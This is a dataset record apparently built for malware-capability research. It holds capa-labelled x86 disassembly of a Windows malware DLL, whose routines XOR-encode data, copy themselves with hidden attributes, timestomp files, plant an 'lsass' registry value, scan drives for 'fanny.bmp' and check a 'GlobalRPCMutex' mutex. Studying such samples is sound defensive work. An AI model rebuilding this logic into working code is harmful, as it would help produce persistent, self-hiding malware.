joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001697
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push esi
mov esi, dword [ebp + 8]
push edi
or edi, 0xffffffff
test esi, esi
je 0x1000171d
and byte [ebp - 0x104], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x103]
push 2
push dword [ebp + 0xc]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push esi
stosb byte es:[edi], al
call fcn.100010a1
mov edi, eax
lea eax, [ebp - 0x104]
push 0x104
push eax
push esi
call fcn.10001086
add esp, 0x18
lea eax, [ebp - 0x104]
push 0x80
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
cmp byte [esi + 0x20], 0
je 0x10001708
push dword [ebp + 0xc]
push esi
call fcn.100017a0
pop ecx
pop ecx
dec byte [esi + 0x1a]
lea eax, [ebp - 0x104]
push eax
push esi
call fcn.10001723
inc byte [esi + 0x1a]
pop ecx
pop ecx
mov eax, edi
pop edi
pop esi
leave
ret

Function at 0x10001723
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
xor esi, esi
cmp dword [esp + 0x10], esi
je 0x10001798
mov ebx, dword [esp + 0xc]
cmp ebx, esi
je 0x10001798
push edi
xor eax, eax
mov edi, 0x62c
xor byte [eax + ebx], 0xcd
inc eax
cmp eax, edi
jb 0x1000173d
push ebp
push esi
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceA]
mov ebp, eax
cmp ebp, esi
jne 0x1000175d
or esi, 0xffffffff
jmp 0x10001789
push edi
push ebx
push esi
push 0x65
push 0x10010028
push ebp
call dword [sym.imp.KERNEL32.dll_UpdateResourceA]
mov esi, eax
push 0
neg esi
sbb esi, esi
push ebp
and esi, 2
dec esi
dec esi
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceA]
test eax, eax
jne 0x10001789
push 0xfffffffffffffffd
pop esi
xor eax, eax
pop ebp
xor byte [eax + ebx], 0xcd
inc eax
cmp eax, edi
jb 0x1000178c
pop edi
jmp 0x1000179b
or esi, 0xffffffff
mov eax, esi
pop esi
pop ebx
ret
Function at 0x100017a0
Capabilities:
Copy file
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x424
push ebx
push esi
push edi
push 0x40
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x31f]
mov byte [ebp - 0x320], bl
push 0x40
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x21b]
mov byte [ebp - 0x21c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x3f
xor eax, eax
pop ecx
lea edi, [ebp - 0x117]
mov byte [ebp - 0x118], bl
or dword [ebp - 0x14], 0xffffffff
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 4]
push 3
push eax
lea eax, [ebp - 0x21c]
push eax
mov byte [ebp - 4], 0x99
mov byte [ebp - 3], 0x3a
mov byte [ebp - 2], 0x5c
mov dword [ebp - 0x10], 0x100
mov dword [ebp - 8], 1
call sub.MSVCRT.dll_memcpy
mov esi, dword [ebp + 8]
lea ecx, [ebp - 0x320]
push 0x104
push ecx
lea eax, [esi + 0x21]
push eax
mov dword [ebp - 0x18], eax
call fcn.1000103b
mov dword [ebp + 8], eax
mov al, byte [ebp + 0xc]
mov byte [ebp - 0x21c], al
lea eax, [esi + 0x150]
push eax
lea eax, [ebp - 0x21c]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x20
lea eax, [ebp - 0x320]
push ebx
push eax
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x10001973
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0xc]
push eax
push ebx
push 0xf003f
push ebx
push ebx
lea eax, [esi + 0x31]
push ebx
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
cmp eax, ebx
mov dword [ebp + 8], eax
jne 0x10001973
lea eax, [ebp - 0x10]
add esi, 0x130
push eax
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 8]
push eax
push ebx
push esi
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
cmp eax, ebx
mov dword [ebp + 8], eax
je 0x10001973
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x423]
mov byte [ebp - 0x424], bl
push 0x100
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x118]
push ebx
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x118]
push str.lsass
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x424]
push 0x104
push eax
push dword [ebp - 0x18]
call fcn.1000103b
add esp, 0x20
test eax, eax
jne 0x10001973
lea eax, [ebp - 0x424]
push eax
lea eax, [ebp - 0x118]
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x118]
mov dword [ebp - 8], 3
push eax
call sub.MSVCRT.dll_strlen
add esp, 0xc
inc eax
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0x118]
push eax
push dword [ebp - 8]
push ebx
push esi
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0xc]
mov dword [ebp + 8], eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000197b
Capabilities:
Copy file
Delete file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x228
push esi
mov esi, dword [ebp + 8]
or eax, 0xffffffff
test esi, esi
je 0x10001a51
and byte [ebp - 0x228], 0
push edi
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x227]
rep stosd dword es:[edi], eax
and byte [ebp - 0x124], 0
push 0x40
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x123]
push 7
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x1e]
mov byte [ebp - 0x1f], 0x3a
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov al, byte [ebp + 0xc]
push 0x104
mov byte [ebp - 0x20], al
lea eax, [ebp - 0x228]
push eax
push esi
call fcn.10001086
push 0x10010038
call sub.MSVCRT.dll_strlen
push eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x124]
push eax
call dword [sym.imp.MSVCRT.dll_strncpy]
add esi, 0x150
lea eax, [ebp - 0x124]
push esi
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x24
lea eax, [ebp - 0x124]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x124]
push 0
push eax
lea eax, [ebp - 0x228]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [ebp - 0x124]
push 6
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
xor eax, eax
pop edi
pop esi
leave
ret

Function at 0x10001a54
Capabilities:
Create process on windows
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x158
mov al, byte [0x1001076c]
push esi
push edi
push 0x40
mov byte [ebp - 0x158], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x157]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
xor esi, esi
cmp dword [ebp + 8], esi
stosb byte es:[edi], al
je 0x10001b2e
push 0x44
lea eax, [ebp - 0x54]
push esi
push eax
call sub.MSVCRT.dll_memset
push 0x10
lea eax, [ebp - 0x10]
push esi
push eax
call sub.MSVCRT.dll_memset
mov edi, 0x104
lea eax, [ebp - 0x158]
push edi
push esi
push eax
call sub.MSVCRT.dll_memset
add esp, 0x24
lea eax, [ebp - 0x158]
mov dword [ebp - 0x54], 0x44
push edi
push eax
push 0x10010040
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x10001b2e
lea eax, [ebp - 0x158]
push 0x1001003c
push eax
call sub.MSVCRT.dll_strcat
mov eax, dword [ebp + 8]
add eax, 9
push eax
lea eax, [ebp - 0x158]
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x158]
push eax
call fcn.10001b34
add esp, 0x14
lea eax, [ebp - 0x10]
mov dword [ebp - 0x28], 1
mov word [ebp - 0x24], si
push eax
lea eax, [ebp - 0x54]
push eax
push esi
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x158]
push esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov esi, dword [ebp - 8]
mov eax, esi
pop edi
pop esi
leave
ret
Function at 0x10001b34
Capabilities:
Extract resource via kernel32 functions
Timestomp file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
or dword [ebp - 4], 0xffffffff
push esi
push edi
push 0x10010028
push 0x66
push dword [0x10010750]
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
xor ebx, ebx
cmp esi, ebx
je 0x10001c2e
push esi
push dword [0x10010750]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
cmp edi, ebx
je 0x10001c2e
push esi
push dword [0x10010750]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_LockResource]
cmp eax, ebx
mov dword [ebp - 0xc], eax
je 0x10001c37
mov edi, 0x80
push ebx
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileA]
push edi
push 2
push ebx
push 1
push 0xc0000000
push dword [ebp + 8]
call esi
cmp eax, ebx
mov dword [ebp + 8], eax
je 0x10001c37
lea ecx, [ebp - 0xc]
push ebx
push ecx
push dword [ebp - 8]
push dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 8]
cmp dword [ebp - 0xc], eax
jne 0x10001bd9
mov dword [ebp - 4], ebx
push ebx
push edi
push 3
push ebx
push 1
push 0x80000000
push 0x10010048
call esi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, eax
cmp esi, ebx
je 0x10001c27
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x24]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
test eax, eax
je 0x10001c24
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x24]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call edi
push dword [ebp + 8]
call edi
jmp 0x10001c37
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10001c3f
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push edi
xor eax, eax
lea edi, [ebp - 0xe]
mov byte [ebp - 0x10], 0x99
mov byte [ebp - 0xf], 0x3a
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
mov al, byte [ebp + 0xc]
mov bl, 0x64
test al, al
je 0x10001c96
mov byte [ebp - 0x10], al
mov eax, dword [ebp + 8]
add eax, 0x170
push esi
push eax
lea eax, [ebp - 0x10]
push eax
call sub.MSVCRT.dll_strcat
pop ecx
mov byte [ebp - 0xb], bl
pop ecx
push 7
pop esi
push dword [ebp + 0x10]
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
inc bl
dec esi
mov byte [ebp - 0xb], bl
jne 0x10001c80
pop esi
pop edi
xor eax, eax
pop ebx
leave
ret
Function at 0x10001f0c
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x560
push ebx
push esi
push edi
mov esi, str.d:_fanny.bmp
lea edi, [ebp - 0x20]
mov eax, dword [0x10010098]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
push 0x7f
mov dword [ebp - 4], eax
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x55f]
mov byte [ebp - 0x560], bl
push 0x7f
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x35f]
mov byte [ebp - 0x360], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x140
lea eax, [ebp - 0x160]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov byte [ebp - 4], 0x64
mov esi, 0x200
lea eax, [ebp - 0x360]
push esi
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x560]
push esi
push eax
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
je 0x10001fbe
mov al, byte [ebp - 4]
mov byte [ebp - 0x20], al
lea eax, [ebp - 0x160]
push eax
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
jne 0x10001fce
inc byte [ebp - 4]
inc ebx
cmp ebx, 0x16
jbe 0x10001f78
xor al, al
pop edi
pop esi
pop ebx
leave
ret
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov al, byte [ebp - 4]
jmp 0x10001fc9

Function at 0x1000202a
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
or dword [ebp - 0xc], 0xffffffff
or dword [ebp - 8], 0xffffffff
push ebx
xor ebx, ebx
mov dword [ebp - 0x14], 8
cmp eax, ebx
mov dword [ebp - 0x1c], ebx
je 0x10002103
add eax, 0x19
mov dword [ebp - 0x18], eax
mov al, byte [eax]
cmp al, 0xff
jne 0x10002064
push 1
pop eax
jmp 0x10002106
xor ecx, ecx
cmp al, bl
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
push ebx
push 0xf003f
push ebx
setne cl
push ebx
push ebx
inc ecx
push 0x1001007c
push 0x80000002
mov dword [ebp - 0x10], ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
je 0x10002098
xor eax, eax
jmp 0x10002106
push esi
lea eax, [ebp - 0x10]
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
push eax
push 3
push ebx
push 0x100100dc
push dword [ebp - 4]
call esi
push dword [ebp - 4]
push dword [ebp + 8]
call fcn.10001000
pop ecx
test eax, eax
pop ecx
je 0x100020d6
lea eax, [ebp - 0x14]
push 4
push eax
push 3
push ebx
push 0x10010010
push dword [ebp - 4]
call esi
push 1
push dword [ebp - 0x18]
push 3
push ebx
push 0x100100d4
push dword [ebp - 4]
call esi
lea eax, [ebp - 0x1c]
push 4
push eax
push 3
push ebx
push 0x100100cc
push dword [ebp - 4]
call esi
test eax, eax
pop esi
jne 0x10002103
mov dword [ebp - 8], ebx
mov eax, dword [ebp - 8]
pop ebx
leave
ret
Function at 0x100021d7
Capabilities:
Check if file exists
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
and byte [ebp - 0x34], 0
push ebx
push esi
push edi
push 7
xor eax, eax
pop ecx
lea edi, [ebp - 0x33]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 4]
push eax
call fcn.100015f7
test eax, eax
pop ecx
jne 0x10002267
and byte [ebp - 0x14], al
lea edi, [ebp - 0x13]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x14]
push 0xa
push eax
mov eax, dword [ebp - 4]
movzx eax, byte [eax + 0x19]
push eax
call dword [sym.imp.MSVCRT.dll__itoa]
mov esi, str.GlobalRPCMutex
push 0x10
lea eax, [ebp - 0x34]
push esi
push eax
call dword [sym.imp.MSVCRT.dll_strncpy]
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x34]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x20
mov edi, 0x20000
push esi
mov esi, dword [sym.imp.KERNEL32.dll_OpenMutexA]
push 1
push edi
call esi
test eax, eax
je 0x1000226e
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 4]
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
call ebx
cmp eax, 2
jne 0x10002267
lea eax, [ebp - 0x34]
push eax
push 1
push edi
call esi
test eax, eax
jne 0x10002256
call ebx
cmp eax, 2
jne 0x1000225d
lea eax, [ebp - 0x34]
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push 1
pop eax
jmp 0x10002269
Function at 0x1000256d
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
cmp dword [ebp + 8], 0
jne 0x10002584
push dword [ebp + 0xc]
call sub.MSVCRT.dll_strlen
pop ecx
mov dword [ebp + 8], eax
cmp dword [ebp + 8], 0
push esi
mov esi, dword [ebp + 0x10]
jle 0x10002640
push ebx
push edi
push 1
pop edi
mov eax, dword [ebp + 0xc]
and byte [ebp + 0x13], 0
and byte [ebp - 1], 0
cmp edi, dword [ebp + 8]
mov bl, byte [eax + edi - 1]
jge 0x100025b1
mov al, byte [edi + eax]
mov byte [ebp + 0x13], al
lea eax, [edi + 1]
cmp eax, dword [ebp + 8]
jge 0x100025c3
mov eax, dword [ebp + 0xc]
mov al, byte [edi + eax + 1]
mov byte [ebp - 1], al
mov al, byte [ebp - 1]
and al, 0x3f
mov byte [ebp - 8], al
mov al, bl
shr al, 2
push eax
call fcn.10002643
mov byte [esi], al
mov al, byte [ebp + 0x13]
and bl, 3
inc esi
shl bl, 4
shr al, 4
or bl, al
push ebx
call fcn.10002643
mov byte [esi], al
pop ecx
inc esi
cmp edi, dword [ebp + 8]
pop ecx
jge 0x10002612
mov al, byte [ebp + 0x13]
mov cl, byte [ebp - 1]
and al, 0xf
shl al, 2
shr cl, 6
or al, cl
push eax
call fcn.10002643
pop ecx
mov byte [esi], al
jmp 0x10002615
mov byte [esi], 0x3d
lea eax, [edi + 1]
inc esi
cmp eax, dword [ebp + 8]
jge 0x1000262b
push dword [ebp - 8]
call fcn.10002643
pop ecx
mov byte [esi], al
jmp 0x1000262e
mov byte [esi], 0x3d
add edi, 3
inc esi
lea eax, [edi - 1]
cmp eax, dword [ebp + 8]
jl 0x10002597
pop edi
pop ebx
pop esi
leave
ret
Function at 0x10002669
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x144
push ebx
push esi
mov esi, 0x104
push edi
push esi
mov dword [ebp - 4], 0x12
call dword [sym.imp.MSVCRT.dll_malloc]
mov ebx, eax
xor edi, edi
cmp ebx, edi
pop ecx
je 0x100027cc
push 0x140
lea eax, [ebp - 0x144]
push edi
push eax
call sub.MSVCRT.dll_memset
push esi
push edi
push ebx
call sub.MSVCRT.dll_memset
mov esi, dword [ebp + 8]
add esp, 0x18
mov eax, dword [esi]
cmp eax, 0xffffffff
jne 0x1000274c
push dword [ebp + 0xc]
push ebx
call sub.MSVCRT.dll_strcpy
mov edi, 0x1001003c
push edi
push ebx
call sub.MSVCRT.dll_strcat
push dword [ebp + 0x10]
push ebx
call sub.MSVCRT.dll_strcat
add esp, 0x18
lea eax, [ebp - 0x144]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x100027cc
lea eax, [ebp - 0x118]
mov dword [esi], ebx
push eax
call sub.MSVCRT.dll_strlen
pop ecx
mov ecx, dword [ebp + 0x18]
dec ecx
cmp eax, ecx
jbe 0x1000271b
mov dword [ebp - 4], 2
push ebx
jmp 0x1000277e
push dword [ebp + 0xc]
push dword [ebp + 0x14]
call sub.MSVCRT.dll_strcpy
push edi
push dword [ebp + 0x14]
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x118]
push eax
push dword [ebp + 0x14]
call sub.MSVCRT.dll_strcat
add esp, 0x18
and dword [ebp - 4], 0
mov dword [esi], ebx
jmp 0x100027cc
lea ecx, [ebp - 0x144]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x100027ba
lea eax, [ebp - 0x118]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
mov ecx, dword [ebp + 0x18]
lea edx, [ecx - 1]
cmp eax, edx
jbe 0x10002786
push dword [esi]
mov dword [ebp - 4], 2
call dword [sym.imp.KERNEL32.dll_FindClose]
jmp 0x100027cc
mov esi, dword [ebp + 0x14]
push ecx
push edi
push esi
call sub.MSVCRT.dll_memset
push dword [ebp + 0xc]
push esi
call sub.MSVCRT.dll_strcpy
push 0x1001003c
push esi
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x118]
push eax
push esi
call sub.MSVCRT.dll_strcat
add esp, 0x24
mov dword [ebp - 4], edi
jmp 0x100027cc
push dword [esi]
mov dword [ebp - 4], 0x12
call dword [sym.imp.KERNEL32.dll_FindClose]
or dword [esi], 0xffffffff
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10006e05
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1000e410
push 0x1000c600
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x41c
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
or edi, 0xffffffff
mov dword [ebp - 0x24], edi
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 4], ebx
push 1
pop esi
mov dword [ebp - 4], esi
mov dword [ebp - 0x2c], 0x100
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
je 0x10006f09
mov byte [ebp - 0x42c], bl
mov byte [ebp - 0x42b], bl
mov byte [ebp - 0x42a], bl
mov byte [ebp - 0x429], bl
mov byte [ebp - 0x428], bl
mov byte [ebp - 0x427], 5
lea eax, [ebp - 0x294]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x20]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x12
push esi
lea eax, [ebp - 0x42c]
push eax
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov dword [ebp - 0x1c], eax
cmp eax, ebx
je 0x10006f09
push 0x82
push ebx
lea eax, [ebp - 0x320]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x28], 0x40
mov dword [ebp - 0x298], 0x80
lea eax, [ebp - 0x29c]
push eax
lea eax, [ebp - 0x298]
push eax
lea eax, [ebp - 0x424]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x320]
push eax
push dword [ebp - 0x20]
push ebx
call dword [sym.imp.ADVAPI32.dll_LookupAccountSidW]
test eax, eax
jne 0x10006f0d
mov esi, edi
jmp 0x10006f2a
lea eax, [ebp - 0x230]
push eax
lea eax, [ebp - 0x320]
push eax
call dword [sym.imp.MSVCRT.dll_wcscmp]
pop ecx
pop ecx
mov esi, eax
neg esi
sbb esi, esi
inc esi
mov dword [ebp - 0x24], esi
mov dword [ebp - 4], ebx
call fcn.10006f40
or dword [ebp - 4], 0xffffffff
jmp 0x10006f64
mov eax, esi
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10006f75
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1000e428
push 0x1000c600
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x108
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
push 1
pop edi
mov dword [ebp - 0xc0], edi
xor ebx, ebx
mov dword [ebp - 0xb0], ebx
mov dword [ebp - 0xbc], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0xb8], eax
mov esi, 0x94
push esi
push ebx
lea eax, [ebp - 0xac]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0xac], esi
lea eax, [ebp - 0xac]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x1000714b
cmp dword [ebp - 0x9c], 2
jne 0x10007151
call fcn.10006cfb
test eax, eax
jne 0x10007079
call fcn.10006e05
test eax, eax
jne 0x10007079
call fcn.1000753a
mov dword [0x10010794], eax
cmp eax, ebx
je 0x10007055
mov dword [ebp - 0xc4], ebx
lea eax, [ebp - 0xc4]
push eax
push dword [ebp - 0xb8]
call fcn.100082ce
pop ecx
pop ecx
mov dword [ebp - 0xc8], eax
cmp eax, ebx
jne 0x10007114
mov dword [ebp - 0xc0], edi
jmp 0x1000705b
mov dword [ebp - 0xc0], ebx
mov eax, dword [0x10010794]
cmp eax, ebx
je 0x1000707f
mov dword [ebp - 0xf4], eax
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x10010794], ebx
jmp 0x1000707f
mov dword [ebp - 0xc0], edi
cmp dword [ebp - 0xa8], 6
jb 0x10007151
call fcn.100071d7
mov dword [ebp - 0xb4], eax
cmp eax, 0xffffffff
je 0x1000714b
mov edi, 0x4000
cmp eax, edi
jae 0x10007151
mov byte [ebp - 0xd0], bl
mov byte [ebp - 0xcf], bl
mov byte [ebp - 0xce], bl
mov byte [ebp - 0xcd], bl
mov byte [ebp - 0xcc], bl
mov byte [ebp - 0xcb], 0x10
lea ecx, [ebp - 0xbc]
push ecx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push eax
push 1
lea eax, [ebp - 0xd0]
push eax
mov esi, dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
call esi
test eax, eax
je 0x10007114
lea eax, [ebp - 0xb0]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push edi
push 1
lea eax, [ebp - 0xd0]
push eax
call esi
test eax, eax
jne 0x1000711c
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x1000714b
call fcn.1000753a
mov dword [0x10010794], eax
cmp eax, ebx
je 0x1000714b
push ebx
push ebx
push ebx
push dword [ebp - 0xb0]
push dword [ebp - 0xbc]
push dword [ebp - 0xb8]
call fcn.10008c2b
add esp, 0x18
test eax, eax
je 0x10007151
mov dword [ebp - 0xc0], ebx
mov dword [ebp - 4], ebx
call fcn.1000715d
jmp 0x100071be
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0xc0]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x100075ce
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, dword [esp + 8]
push esi
call sub.MSVCRT.dll_strlen
pop ecx
xor ecx, ecx
test eax, eax
jle 0x100075ec
mov dl, byte [esp + 0xc]
xor byte [ecx + esi], dl
inc ecx
cmp ecx, eax
jl 0x100075e0
pop esi
ret